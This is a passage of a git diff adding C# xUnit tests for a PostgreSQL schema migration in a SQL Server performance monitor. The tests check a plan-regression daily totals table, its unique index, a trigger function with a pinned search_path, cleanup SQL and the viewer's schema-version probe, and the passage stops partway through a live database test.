+    d.d + (q % 22) * interval '1 hour',
+    d.d + (q % 22) * interval '1 hour' + interval '35 minutes',
+    'hash' || (q * 10 + p), 'qh' || q, 100, 1000 * p, 3000 * p,
+    d.d + (q % 22) * interval '1 hour' + interval '30 minutes', false, 0
+FROM generate_series((@t::date - 16)::timestamp, @t::timestamp, interval '1 day') AS d (d)
+CROSS JOIN generate_series(1, @q) AS q
+CROSS JOIN generate_series(1, 2) AS p", connection) { CommandTimeout = 120 };
+            seed.Parameters.AddWithValue("s", server);
+            seed.Parameters.AddWithValue("t", NpgsqlDbType.Timestamp, today);
+            seed.Parameters.AddWithValue("q", QueriesPerDay);
+            await seed.ExecuteNonQueryAsync(ct);
+
+            await using var coverage = new NpgsqlCommand(
+                "INSERT INTO collect.query_store_interval_latest_coverage (server_id, filled_since, applied_through) VALUES (@s, @f, @f) ON CONFLICT (server_id) DO UPDATE SET filled_since = EXCLUDED.filled_since",
+                connection);
+            coverage.Parameters.AddWithValue("s", server);
+            coverage.Parameters.AddWithValue("f", NpgsqlDbType.Timestamp, today.AddDays(-20));
+            await coverage.ExecuteNonQueryAsync(ct);
+        }
+
+        await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest ENABLE TRIGGER trg_plan_regression_daily_late", ct);
+
+        var built = new List<DateTime>();
+        for (var d = -14; d <= -3; d++)
+        {
+            var day = today.AddDays(d);
+            built.Add(day);
+            foreach (var server in Servers)
+            {
+                var rows = await PlanRegressionDaily.BuildDayAsync(connection, server, DateOnly.FromDateTime(day), now, ct);
+                Assert.Equal(RowsPerServerDay, rows);
+            }
+        }
+
+        await ExecAsync(connection, "ANALYZE collect.query_store_interval_latest", ct);
+        await ExecAsync(connection, "ANALYZE collect.plan_regression_daily", ct);
+        await ExecAsync(connection, "ANALYZE collect.plan_regression_daily_built", ct);
+        return (today, built);
+    }
+
+    private static async Task<List<DateOnly>> BuiltDaysAsync(NpgsqlConnection connection, DateTime floor, CancellationToken ct)
+    {
+        var days = new List<DateOnly>();
+        await using var command = new NpgsqlCommand(PlanRegressionDaily.BuiltDaysSql, connection);
+        command.Parameters.AddWithValue(ServerA);
+        command.Parameters.AddWithValue(NpgsqlDbType.Timestamp, floor);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct)) days.Add(reader.GetFieldValue<DateOnly>(0));
+        return days;
+    }
+
+    /// <summary>The executed plan of the daily read, bound the way the collector binds it, parallelism off for the session.</summary>
+    private static async Task<JsonElement> ExplainAsync(
+        NpgsqlConnection connection, DateTime today, DateTime floor, List<DateOnly> builtDays, CancellationToken ct, bool noSeqScan = false)
+    {
+        await ExecAsync(connection, "SET max_parallel_workers_per_gather = 0", ct);
+        await ExecAsync(connection, noSeqScan ? "SET enable_seqscan = off" : "RESET enable_seqscan", ct);
+        await using var command = new NpgsqlCommand("EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) " + PgFactCollector.PlanRegressionDailySql, connection);
+        command.Parameters.AddWithValue(ServerA);
+        command.Parameters.AddWithValue(NpgsqlDbType.Timestamp, floor);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Date, Value = builtDays.ToArray() });
+        command.Parameters.AddWithValue(NpgsqlDbType.Timestamp, PgFactCollector.PlanRegressionLiveFloor(floor, builtDays));
+        command.Parameters.AddWithValue(NpgsqlDbType.Timestamp, floor.AddDays(-1));
+        var json = (string)(await command.ExecuteScalarAsync(ct))!;
+        return JsonDocument.Parse(json).RootElement[0].GetProperty("Plan").Clone();
+    }
+
+    private readonly record struct Scan(string Relation, string NodeType, string? IndexName, double RowsRead, double RowsReturned, double Blocks);
+
+    /// <summary>
+    /// Every scan of a relation whose name contains <paramref name="relationPart"/>, from the executed plan: rows read are
+    /// those returned plus those the node's filter and index recheck threw away, times the loops (a row is read once per
+    /// loop); blocks are the node's shared hits and reads.
+    /// </summary>
+    private static IEnumerable<Scan> ScansOf(JsonElement node, string relationPart)
+    {
+        if (node.TryGetProperty("Relation Name", out var relation)
+            && relation.GetString()!.Contains(relationPart, StringComparison.Ordinal)
+            && node.GetProperty("Node Type").GetString()!.Contains("Scan", StringComparison.Ordinal)
+            && !node.GetProperty("Node Type").GetString()!.StartsWith("Bitmap Index", StringComparison.Ordinal))
+        {
+            var loops = node.GetProperty("Actual Loops").GetDouble();
+            var returned = node.GetProperty("Actual Rows").GetDouble() * loops;
+            var removed = (Number(node, "Rows Removed by Filter") + Number(node, "Rows Removed by Index Recheck")) * loops;
+            var blocks = Number(node, "Shared Hit Blocks") + Number(node, "Shared Read Blocks");
+            var index = node.TryGetProperty("Index Name", out var i) ? i.GetString() : null;
+            /* A bitmap heap scan names the index only on its child; a seq scan has none. */
+            index ??= ChildIndexName(node);
+            yield return new Scan(relation.GetString()!, node.GetProperty("Node Type").GetString()!, index, returned + removed, returned, blocks);
+        }
+
+        if (node.TryGetProperty("Plans", out var plans))
+        {
+            foreach (var child in plans.EnumerateArray())
+            {
+                foreach (var scan in ScansOf(child, relationPart)) yield return scan;
+            }
+        }
+    }
+
+    private static string? ChildIndexName(JsonElement node)
+    {
+        if (!node.TryGetProperty("Plans", out var plans)) return null;
+        foreach (var child in plans.EnumerateArray())
+        {
+            if (child.TryGetProperty("Index Name", out var i)) return i.GetString();
+        }
+
+        return null;
+    }
+
+    private static double Number(JsonElement node, string name) => node.TryGetProperty(name, out var v) ? v.GetDouble() : 0;
+
+    private static void Report(string shape, long totalRows, double liveRead, double liveReturned, double liveBlocks,
+        long dailyTotal, double dailyRead, double dailyReturned, string detail)
+    {
+        var line = string.Create(CultureInfo.InvariantCulture,
+            $"{shape}: table_rows={totalRows} live_rows_read={liveRead} live_rows_returned={liveReturned} live_blocks={liveBlocks} daily_rows={dailyTotal} daily_rows_read={dailyRead} daily_rows_returned={dailyReturned} nodes={detail}");
+        TestContext.Current.SendDiagnosticMessage(line);
+        var path = Environment.GetEnvironmentVariable("DARLING_5448_SHAPE_OUT");
+        if (!string.IsNullOrEmpty(path)) File.AppendAllText(path, line + Environment.NewLine);
+    }
+
+    private static async Task<long> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRegressionDailyRungTests.cs b/Darling/Darling.Tests/PlanRegressionDailyRungTests.cs
new file mode 100644
index 0000000000..1de8b9a7b6
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionDailyRungTests.cs
@@ -0,0 +1,533 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling rung that adds the per-day per-plan totals PLAN_REGRESSION reads for closed days (#5448):
+/// <c>collect.plan_regression_daily</c>, <c>collect.plan_regression_daily_built</c>, the function
+/// <c>collect.plan_regression_daily_mark_late</c> and the trigger that calls it from
+/// <c>collect.query_store_interval_latest</c>. Both tables are plain tables (a day is deleted and rebuilt whole), the
+/// unique index is <c>NULLS NOT DISTINCT</c> because most key columns can be NULL, the function is SECURITY INVOKER
+/// with a pinned <c>search_path</c>, and the rung adds no index on the interval table. The rung only creates the
+/// objects; no builder or reader uses them yet. Every fact finds the rung by NAME, so a renumber is one edit to the
+/// registration, the constant and the viewer's <c>return</c>. The live facts run when <c>DARLING_TEST_PG</c> is set,
+/// each on its own scratch store.
+///
+/// <para>This file carries the "I am the top rung" claims that moved off <see cref="PagerDutyAutoResolveRungTests"/>
+/// (V166) when this rung landed: a fully-migrated store must map to EXACTLY this version, or the viewer's connect-time
+/// gate refuses a store that is actually current.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PlanRegressionDailyRungTests
+{
+    public const string RungName = "plan-regression-daily";
+
+    private const int RungVersion = 168;
+
+    private const int PreviousVersion = 167;
+
+    /// <summary>This rung's sentinel ordinal in the viewer probe, the newest and so the last argument.</summary>
+    private const int ProbeOrdinal = 143;
+
+    private const string Daily = "plan_regression_daily";
+
+    private const string Built = "plan_regression_daily_built";
+
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the PLAN_REGRESSION per-day totals' live pins (each mints its own scratch database).";
+
+    private static readonly string[] DailyColumns =
+    {
+        "server_id", "day", "database_name", "query_id", "plan_id", "replica_role", "query_plan_hash",
+        "execs", "cpu_us_sum", "dur_us_sum", "last_exec", "is_forced_plan", "force_failure_count",
+    };
+
+    private static readonly string[] KeyColumns =
+    {
+        "server_id", "day", "database_name", "query_id", "plan_id", "replica_role", "query_plan_hash",
+    };
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
+
+    /// <summary>The rung's SQL with its comments removed, so a pin reads statements and not the prose around them.</summary>
+    private static string Statements() =>
+        Regex.Replace(Rung.Sql, @"/\*.*?\*/", " ", RegexOptions.Singleline).Replace("\r\n", "\n", StringComparison.Ordinal);
+
+    /// <summary>The columns of one <c>CREATE TABLE</c> in a script, name to type text, in order.</summary>
+    private static List<(string Name, string Type)> ColumnsOf(string table)
+    {
+        var stripped = Statements();
+        var header = "CREATE TABLE IF NOT EXISTS " + table + "\n(";
+        var start = stripped.IndexOf(header, StringComparison.Ordinal);
+        Assert.True(start >= 0, "no CREATE TABLE for " + table);
+        var end = stripped.IndexOf("\n)", start, StringComparison.Ordinal);
+        var columns = new List<(string, string)>();
+        foreach (var raw in stripped[(start + header.Length)..end].Split('\n'))
+        {
+            var line = raw.Trim().TrimEnd(',');
+            if (line.Length == 0 || line.StartsWith("CONSTRAINT", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var space = line.IndexOf(' ', StringComparison.Ordinal);
+            columns.Add((line[..space], line[(space + 1)..].Trim()));
+        }
+
+        return columns;
+    }
+
+    [Fact]
+    public void TheRungIsRegisteredInADenseLadder_BelowTheCurrentTop()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        Assert.Equal(RungName, Rung.Name);
+        Assert.Equal(RungVersion, Rung.Version);
+        /* No longer the top rung: the per-server AWS role rung (V169) landed above it. */
+        Assert.True(RungVersion < StorageVersion.SchemaVersion);
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(StorageVersion.SchemaVersion, versions.Max());
+        Assert.Contains(RungVersion + 1, versions);
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(PreviousVersion, versions);
+    }
+
+    [Fact]
+    public void BothTablesArePlainSchemaQualifiedTables_NotHypertables()
+    {
+        var sql = Statements();
+
+        Assert.Contains("CREATE TABLE IF NOT EXISTS collect." + Daily + "\n", sql, StringComparison.Ordinal);
+        Assert.Contains("CREATE TABLE IF NOT EXISTS collect." + Built + "\n", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("create_hypertable", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("timescaledb", sql, StringComparison.OrdinalIgnoreCase);
+
+        /* The rung never uses a bare name: the migrate session's search_path puts collect first, but the function's does not. */
+        foreach (var match in Regex.Matches(sql, @"(?:CREATE TABLE IF NOT EXISTS|CREATE OR REPLACE FUNCTION|INSERT INTO|DROP TRIGGER IF EXISTS \S+ ON|EXECUTE FUNCTION|AFTER INSERT OR UPDATE ON)\s+(\S+)").Cast<Match>())
+        {
+            Assert.StartsWith("collect.", match.Groups[1].Value, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheDailyTable_HasTheThirteenColumns_InOrder_WithTheReadsTypes()
+    {
+        var columns = ColumnsOf("collect." + Daily);
+        Assert.Equal(DailyColumns, columns.Select(c => c.Name).ToArray());
+
+        var types = columns.ToDictionary(c => c.Name, c => c.Type);
+        Assert.Equal("integer NOT NULL", types["server_id"]);
+        Assert.Equal("date NOT NULL", types["day"]);
+        Assert.Equal("numeric", types["execs"]);
+        Assert.Equal("numeric", types["cpu_us_sum"]);
+        Assert.Equal("numeric", types["dur_us_sum"]);
+        Assert.Equal("timestamp", types["last_exec"]);
+        Assert.Equal("boolean", types["is_forced_plan"]);
+        Assert.Equal("bigint", types["force_failure_count"]);
+        Assert.Equal("text", types["query_plan_hash"]);
+        Assert.Equal("text", types["replica_role"]);
+    }
+
+    [Fact]
+    public void TheUniqueIndex_IsNullsNotDistinct_OnExactlyTheIdentityKey()
+    {
+        var index = Regex.Match(Statements(), @"CREATE UNIQUE INDEX IF NOT EXISTS ux_plan_regression_daily\s+ON collect\." + Daily + @"\s*\((?<cols>[^)]*)\)\s*(?<tail>[^;]*);");
+
+        Assert.True(index.Success, "the rung has no unique index named ux_plan_regression_daily on the totals table");
+        Assert.Equal(KeyColumns, index.Groups["cols"].Value.Split(',').Select(c => c.Trim()).Where(c => c.Length > 0).ToArray());
+        Assert.Equal("NULLS NOT DISTINCT", index.Groups["tail"].Value.Trim());
+    }
+
+    [Fact]
+    public void TheBuiltTable_IsTheValidityRecord_OneRowPerServerAndDay()
+    {
+        var columns = ColumnsOf("collect." + Built);
+
+        Assert.Equal(
+            new[]
+            {
+                ("server_id", "integer NOT NULL"), ("day", "date NOT NULL"), ("late_seq", "bigint NOT NULL DEFAULT 0"),
+                ("built_seq", "bigint"), ("built_at", "timestamp"), ("source_rows", "bigint"),
+            },
+            columns.ToArray());
+        Assert.Contains("CONSTRAINT pk_plan_regression_daily_built PRIMARY KEY (server_id, day)", Statements(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRungNeedsNoGrant_BecauseTheCollectSchemaGrantsCoverANewTable()
+    {
+        var sql = Statements();
+
+        Assert.DoesNotContain("GRANT", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("REVOKE", sql, StringComparison.OrdinalIgnoreCase);
+    }
+
+    /// <summary>
+    /// The function runs as whoever writes <c>query_store_interval_latest</c>, so it is SECURITY INVOKER (the default,
+    /// and never DEFINER here) and pins its own <c>search_path</c>: a function that inherits the caller's could be made
+    /// to resolve <c>date_trunc</c> or the bookkeeping table to an object of the caller's choosing.
+    /// </summary>
+    [Fact]
+    public void TheMarkFunction_PinsItsSearchPath_AndIsSecurityInvoker()
+    {
+        var sql = Statements();
+        var function = Regex.Match(sql, @"CREATE OR REPLACE FUNCTION collect\.plan_regression_daily_mark_late\(\) RETURNS trigger\s+LANGUAGE plpgsql\s+SET search_path = pg_catalog, pg_temp\s+AS \$f\$.*?\$f\$;", RegexOptions.Singleline);
+
+        Assert.True(function.Success, "the function has no `SET search_path = pg_catalog, pg_temp` clause");
+        Assert.DoesNotContain("SECURITY DEFINER", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("INSERT INTO collect.plan_regression_daily_built AS b", function.Value, StringComparison.Ordinal);
+        Assert.Contains("ON CONFLICT (server_id, day) DO UPDATE SET late_seq = b.late_seq + 1", function.Value, StringComparison.Ordinal);
+        /* Marks the day of first_execution_time and the day after it (last_execution_time can cross midnight). */
+        Assert.Contains("(NEW.first_execution_time::date, new0), (NEW.first_execution_time::date + 1, new1)", function.Value, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5448: the function bumps a (server, day) once per transaction. The apply is one statement, so a bump per
+    /// late row updates the same built tuple tens of thousands of times inside one transaction, and each conflict check
+    /// after the first walks the whole version chain (quadratic: 17 s for 50,000 late rows). The pairs already bumped are
+    /// kept in a transaction-local setting, and a row whose days are both in it returns before any write. A pin on the
+    /// shape, because the live tests need a server: the setting is read, the guard returns early, only the unmarked days
+    /// are written, and the setting is written with is_local true (false would leak the marks to the next transaction of
+    /// the session and silently drop its bumps).
+    /// </summary>
+    [Fact]
+    public void TheMarkFunction_BumpsAPairOncePerTransaction_ThroughATransactionLocalSetting()
+    {
+        var sql = Statements();
+        var function = Regex.Match(sql, @"CREATE OR REPLACE FUNCTION collect\.plan_regression_daily_mark_late\(\).*?\$f\$;", RegexOptions.Singleline).Value;
+
+        Assert.Contains("current_setting('darling.plan_regression_marked', true)", function, StringComparison.Ordinal);
+        Assert.Contains("nullif(current_setting('darling.plan_regression_marked', true), '')", function, StringComparison.Ordinal);
+        Assert.Contains("IF NOT (new0 OR new1) THEN", function, StringComparison.Ordinal);
+        Assert.Contains("WHERE v.fresh", function, StringComparison.Ordinal);
+        Assert.Matches(@"set_config\('darling\.plan_regression_marked',[^;]*, true\);", function);
+        Assert.DoesNotContain(", false)", function, StringComparison.Ordinal);
+
+        /* First executions run T-17 through T-2, and the day after each is marked too: at most 17 pairs per server. The
+           function body (comment included) is stored in pg_proc.prosrc, so the number it states has to be the true one. */
+        Assert.Matches(@"keeps the list to at most\s+17 pairs per server", Rung.Sql);
+        Assert.DoesNotContain("19 pairs", Rung.Sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTrigger_IsAfterInsertOrUpdate_PerRow_ClampedToTheWindow_AndTheRungAddsNoIndexOnTheIntervalTable()
+    {
+        var sql = Statements();
+        var trigger = Regex.Match(sql, @"CREATE TRIGGER trg_plan_regression_daily_late\s+AFTER INSERT OR UPDATE ON collect\.query_store_interval_latest\s+FOR EACH ROW\s+WHEN \((?<when>.*?)\)\s+EXECUTE FUNCTION collect\.plan_regression_daily_mark_late\(\);", RegexOptions.Singleline);
+
+        Assert.True(trigger.Success, "the rung has no row trigger named trg_plan_regression_daily_late on the interval table");
+        Assert.Contains("DROP TRIGGER IF EXISTS trg_plan_regression_daily_late ON collect.query_store_interval_latest;", sql, StringComparison.Ordinal);
+
+        /* The WHEN condition reads NEW only (PostgreSQL forbids a subquery there), at least a day old and no earlier than the start of the day 17 back. */
+        var condition = Regex.Replace(trigger.Groups["when"].Value, @"\s+", " ");
+        Assert.Contains("NEW.first_execution_time < date_trunc('day', now() AT TIME ZONE 'UTC') - interval '1 day'", condition, StringComparison.Ordinal);
+        /* A whole-day edge, one day wider than the cleanup's 16 days, so every day the cleanup keeps can be marked: a late row
+           for T-16 has its first execution on T-17, and a clamp at now() minus 16 days would miss it between midnight and
+           the time of day. */
+        Assert.Contains("NEW.first_execution_time >= date_trunc('day', now() AT TIME ZONE 'UTC') - interval '17 days'", condition, StringComparison.Ordinal);
+        Assert.DoesNotContain("SELECT", condition, StringComparison.OrdinalIgnoreCase);
+        Assert.Equal(PlanRegressionDaily.MarkLateWindowDays, 16);
+
+        /* No index on the interval table in this rung: V153's first_execution_time index serves the per-day builds. */
+        Assert.DoesNotContain("CREATE INDEX", sql, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void TheRungAndTheBuilderCarryNoProcessWording_BecauseTheFunctionBodyIsStoredInEveryStore()
+    {
+        /* The function body is kept in pg_proc.prosrc on every store, and the doc comments ship with the product: neither
+           names a work lane or a hand-over step. */
+        var storage = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "PlanRegressionDaily.cs");
+        foreach (var text in new[] { Rung.Sql, storage })
+        {
+            Assert.DoesNotMatch(@"\blane\b", text);
+            Assert.DoesNotMatch(@"big-store EXPLAIN", text);
+        }
+    }
+
+    [Fact]
+    public void TheCleanup_IsDrivenFromTheSmallBuiltTable_SoTheTotalsDeleteIsAnIndexProbeByKey()
+    {
+        var built = Regex.Replace(PlanRegressionDaily.GcBuiltSql, @"\s+", " ");
+        Assert.StartsWith("DELETE FROM collect.plan_regression_daily_built", built.TrimStart(), StringComparison.Ordinal);
+        Assert.Contains("RETURNING server_id, day", built, StringComparison.Ordinal);
+
+        /* The totals delete is the two leading columns of the unique index with constants: no OR of a day test and a NOT IN
+           on the totals table, which could not use that index and would read every totals row every hour. */
+        var totals = Regex.Replace(PlanRegressionDaily.GcTotalsSql, @"\s+", " ");
+        Assert.Contains("DELETE FROM collect.plan_regression_daily WHERE server_id = $1::integer AND day = $2::date;", totals, StringComparison.Ordinal);
+        Assert.DoesNotContain(" OR ", totals, StringComparison.Ordinal);
+        Assert.DoesNotContain("NOT IN", totals, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheClosedDayArithmetic_IsOnePastOneSkewAndOneSpan()
+    {
+        Assert.Equal(14, PlanRegressionDaily.WindowDays);
+        Assert.Equal(1, PlanRegressionDaily.PlanRegressionSkewMarginDays);
+        Assert.Equal(3, PlanRegressionDaily.ClosedDayLagDays);
+    }
+
+    [Fact]
+    public void BuildDaySql_InsertsTheTablesColumnsInOrder_FromTheIntervalTable_WithTheDaysBounds()
+    {
+        var sql = Regex.Replace(PlanRegressionDaily.BuildDaySql, @"\s+", " ");
+
+        var insert = Regex.Match(sql, @"INSERT INTO collect\.plan_regression_daily \((?<cols>[^)]*)\)");
+        Assert.True(insert.Success);
+        Assert.Equal(DailyColumns, insert.Groups["cols"].Value.Split(',').Select(c => c.Trim()).ToArray());
+
+        Assert.Contains("FROM collect.query_store_interval_latest AS l", sql, StringComparison.Ordinal);
+        Assert.Contains("WHERE l.server_id = $1::integer AND l.first_execution_time >= $4::timestamp AND l.first_execution_time < $3::timestamp AND l.last_execution_time >= $2::date AND l.last_execution_time < $3::timestamp AND l.collection_time >= $4::timestamp", sql, StringComparison.Ordinal);
+        Assert.Contains("GROUP BY l.database_name, l.query_id, l.plan_id, l.replica_role, l.query_plan_hash", sql, StringComparison.Ordinal);
+
+        /* The same aggregates as PLAN_REGRESSION's plan_agg step, summed rather than divided. */
+        Assert.Contains("SUM(l.execution_count)", sql, StringComparison.Ordinal);
+        Assert.Contains("SUM(l.avg_cpu_time_us::numeric * l.execution_count)", sql, StringComparison.Ordinal);
+        Assert.Contains("SUM(l.avg_duration_us::numeric * l.execution_count)", sql, StringComparison.Ordinal);
+        Assert.Contains("MAX(l.last_execution_time)", sql, StringComparison.Ordinal);
+        Assert.Contains("bool_or(l.is_forced_plan)", sql, StringComparison.Ordinal);
+        Assert.Contains("MAX(l.force_failure_count)", sql, StringComparison.Ordinal);
+
+        /* Four parameters, each cast where it is used, so each has one type. */
+        Assert.Equal(new[] { "$1", "$2", "$3", "$4" }, Regex.Matches(sql, @"\$\d").Select(m => m.Value).Distinct().OrderBy(v => v).ToArray());
+        Assert.DoesNotContain("$5", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheProbeCarriesTheBuiltTableAtItsOwnOrdinal_AndMapsItsRung()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = $"to_regclass('collect.{Built}') IS NOT NULL";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+        Assert.True(probe.IndexOf(arm, StringComparison.Ordinal) > probe.IndexOf("legacy_secret_pin_candidate", StringComparison.Ordinal),
+            "this rung's sentinel follows V167's");
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 1})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 2})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 3})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 4})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 5})", viewer, StringComparison.Ordinal);
+        Assert.DoesNotContain($"reader.GetBoolean({ProbeOrdinal + 6})", viewer, StringComparison.Ordinal);
+
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var parameters = method.GetParameters();
+
+        /* A newer rung's sentinel (V173's, #5582) is the last argument. */
+        Assert.Equal(ProbeOrdinal + 5, parameters.Length - 1);
+        Assert.Equal("hasPlanRegressionDaily", parameters[ProbeOrdinal].Name);
+
+        /* Every sentinel true is a fully-migrated store, which maps to exactly this build's version. */
+        var all = Enumerable.Repeat((object)true, parameters.Length).ToArray();
+        Assert.Equal(StorageVersion.SchemaVersion, (int)method.Invoke(null, all)!);
+
+        /* A store that stopped at this rung answers this rung; the same store without its sentinel answers the one before. */
+        var atThisRung = Enumerable.Range(0, parameters.Length).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(RungVersion, (int)method.Invoke(null, atThisRung)!);
+        var behind = (object[])atThisRung.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(PreviousVersion, (int)method.Invoke(null, behind)!);
+
+        /* The arm sits ABOVE V167's (newest-first is the contract of that method) and returns this rung's version. */
+        var thisArm = viewer.IndexOf("if (hasPlanRegressionDaily)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasLegacyPinCandidates)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0, "the viewer has no V168 sentinel arm: a fully-migrated store would map to 167");
+        Assert.True(previousArm >= 0, "the V167 arm is gone, so this pin is comparing against nothing");
+        Assert.True(thisArm < previousArm, "this arm sits below V167's, so a current store maps one rung low");
+        Assert.Contains("return " + RungVersion.ToString(CultureInfo.InvariantCulture) + ";", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        /* The table is named in the probe line and nowhere in the arm's prose (the V71 finding). */
+        var proseStart = viewer.LastIndexOf("/* V168 (#5448)", thisArm, StringComparison.Ordinal);
+        Assert.True(proseStart >= 0, "the arm has no comment block saying why it exists");
+        Assert.DoesNotContain(Built, viewer[proseStart..thisArm], StringComparison.Ordinal);
+        Assert.DoesNotContain(Daily, viewer[proseStart..thisArm], StringComparison.Ordinal);
+    }
+
+    private static async Task<NpgsqlConnection> MigratedAsync(ScratchPostgres scratch, System.Threading.CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    [Fact]
+    public async Task MigratingAFreshStore_CreatesTheObjects_AsPlainTables_WithAPinnedFunctionAndAnEnabledTrigger()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database of its own, so no other class's migrations race it.
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct), CultureInfo.InvariantCulture));
+            Assert.True(await ScalarAsync(connection, "SELECT to_regclass('collect.plan_regression_daily') IS NOT NULL AND to_regclass('collect.plan_regression_daily_built') IS NOT NULL", ct) is true);
+
+            /* Plain relations (relkind 'r'). */
+            Assert.Equal(2L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = 'collect' AND c.relname IN ('plan_regression_daily', 'plan_regression_daily_built') AND c.relkind = 'r'", ct));
+
+            /* The unique index is unique, NULLS NOT DISTINCT, on the key. */
+            var indexDef = (string?)await ScalarAsync(connection,
+                "SELECT indexdef FROM pg_indexes WHERE schemaname = 'collect' AND tablename = 'plan_regression_daily' AND indexname = 'ux_plan_regression_daily'", ct);
+            Assert.NotNull(indexDef);
+            Assert.Contains("UNIQUE INDEX", indexDef, StringComparison.Ordinal);
+            Assert.Contains("NULLS NOT DISTINCT", indexDef, StringComparison.Ordinal);
+            Assert.Contains("(server_id, day, database_name, query_id, plan_id, replica_role, query_plan_hash)", indexDef, StringComparison.Ordinal);
+
+            /* The function: plpgsql, SECURITY INVOKER, and the pinned search_path is stored on the function itself. */
+            Assert.Equal("plpgsql|false|{\"search_path=pg_catalog, pg_temp\"}", await ScalarAsync(connection,
+                "SELECT l.lanname || '|' || p.prosecdef::text || '|' || p.proconfig::text FROM pg_proc p JOIN pg_language l ON l.oid = p.prolang WHERE p.pronamespace = 'collect'::regnamespace AND p.proname = 'plan_regression_daily_mark_late'", ct));
+
+            /* The trigger is on the interval table, row-level, after insert or update, and enabled. */
+            Assert.Equal("O|true", await ScalarAsync(connection,
+                "SELECT t.tgenabled::text || '|' || ((t.tgtype & 1) = 1)::text FROM pg_trigger t WHERE t.tgrelid = 'collect.query_store_interval_latest'::regclass AND t.tgname = 'trg_plan_regression_daily_late' AND NOT t.tgisinternal", ct));
+
